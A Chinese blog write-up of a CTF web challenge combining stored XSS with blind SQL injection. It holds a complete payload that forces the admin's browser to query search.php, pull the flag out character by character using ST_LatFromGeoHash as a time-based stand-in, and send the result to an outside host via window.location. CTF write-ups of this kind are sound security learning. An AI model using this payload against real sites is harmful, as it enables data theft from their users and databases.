7月月赛记录

写在前面

其实现在都不怎么做题目了,只有月赛的时候看看,月赛每次web题目也不多。
这个月月赛只有一道web题,xsssql注入的,没有什么新的知识点,没做出来的时候觉得懵,做出来之后觉得怎么搞了这么久才搞出来?(每次都会这样)

WriteUp

题目界面是这个样子的。在这里插入图片描述
hint是这个样子的。
在这里插入图片描述

大概意思是token是你的id一样的东西,然后也告诉你管理员的id,你可以给管理员发消息,因为题目名字就是xssqli,所以上来就试了xss。它是有一些同源策略限制的,不能直接去<script src=>的形式,上网查CSP绕过,然后可以通过window.location的形式去绕过。

那接下来想到的肯定就是传输cookie出来,以管理员身份登录了。
但是发现cookie传不出来,服务器应该是对cookie做了http-only限制,保护起来了。拿cookie这条路肯定走不通了

在网上查了查,现在管理员可以执行我们的任意js代码,那可以让他去请求一下index.php,看它看到的是什么样子的(反正就是不知道怎么办,瞎试)。然后拿到index.php的样子:


<html>
    <head>
        <title>Secret message</title>     
    </head>
    <body>
        <script src="jquery.min.js"></script>
<div>
  <p>
    Your token: fafd3708-ce90-40bd-bc4a-852ed01e4853<br />
    </p>
    <p>
    Any problem about this system, please contact the administrator.<br />
    Admin token: fafd3708-ce90-40bd-bc4a-852ed01e4853<br />
 </p>
</div>
<hr />
<div>
      <form action="search.php" method="post">
             <p>
            Search messages: <input type="text" name="q" />
          <input type="submit" value="Submit" />
        </p>
   </form>
      <p>Received  messages:</p>
   <ol><li>Flag</li><li>is</li><li>not</li><li>here</li></ol></div>
<hr /     >
<div>
    <p>Send a message:</p>
    <form action="index.php" method="post">
      <p>To token: <input type="text" name="token" /></p>
          <p>Message:</p>
   <p><textarea name="msg">Message here.</textarea></p>
          <p>substr(md5($work), 0  , 5) === "da39f"</p>
          <p><input type="text" name="work" />
        %2     0 <input type="submit" value="Submit" />
    </form>
</div>
    </body>
</html>

发现还有个search.php,本地请求了一下发现需要管理员身份才行的。sql注入应该就是和这个search.php交互产生的。

那就通过xss让管理员和这个文件交互。

刚开始不管怎么试search.php的返回结果都是nothing for you。很绝望,后来还试了一下在发消息时候msg字段和token字段是不是注入点来着(怀疑search.php是个幌子),然后发现这两个字段都被限制地很好。

无奈又开始试search.php。突然发现有不同的输出…(我也不知道我之前的测试是怎么回事)。

这个文件的功能就是你输入一个东西,他会给你返回一个id。大概就是执行
select id from xxx where id='xx'这样子,如果你传入的参数中包含被紧掉的函数的话,它就会将你输入的参数原封不动返回。

如果你的语句执行正确,那就输出search done。错误就输出runtime error

那么很明显了,就是一个盲注。

但是过滤掉了sleep() /exp() /benchmark这几个经常被用的函数。

最终用了ST_LatFromGeoHash(version()),和上面三个函数用起来方法一样,效果也一样。

之后就burp intruder ➕一个简单的脚本,得到最后的结果。

POST /index.php HTTP/1.1
Host: xxx:xxx
Content-Length: 576
Cache-Control: max-age=0
Origin: http://xxx:xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://xxx:xxx/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9060d6d0a742478c529b506a1c190bbf; visitid=5caad8aff3e48; JSESSIONID.5bfff80a=node0157hoy44igpyjbxhtn1irh1xu21373.node0; session=81be6a6e-48c5-40d1-baf0-a9e4a10c4026
Connection: close

token=fafd3708-ce90-40bd-bc4a-852ed01e4853&msg=<script>var%20xmlhttp=new%20XMLHttpRequest();xmlhttp.onreadystatechange=state_Change;xmlhttp.open("POST","search.php", false);xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");data="q=1'%20union%20select%20if((substr((select(flag)from(flag)),28,1))<>'§F§',(ST_LatFromGeoHash(version())),1)%23%26submit=Submit";xmlhttp.send(data);function%20state_Change(){if(xmlhttp.readyState==4){window.location="http://yyy/x.php?c=§F§"%2bencodeURIComponent(xmlhttp.responseText)%2b12345;}}</script>&work=2n4rf

做到后面才明白了第一个提示的意思:那个验证码校验是只在普通用户进行的,管理员发消息是不需要验证码的。所以在做到后面也非常确定方法是对的。

(我敢肯定,之后我再看的时候就忘记这都是写啥了)

做的过程中觉得这个题目出的挺好的,做完了感觉其实也很常规,hint也挺好的。

动脑子想,去猜后台的语句是怎么写的,可能会在哪里出现问题。

开心。??

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值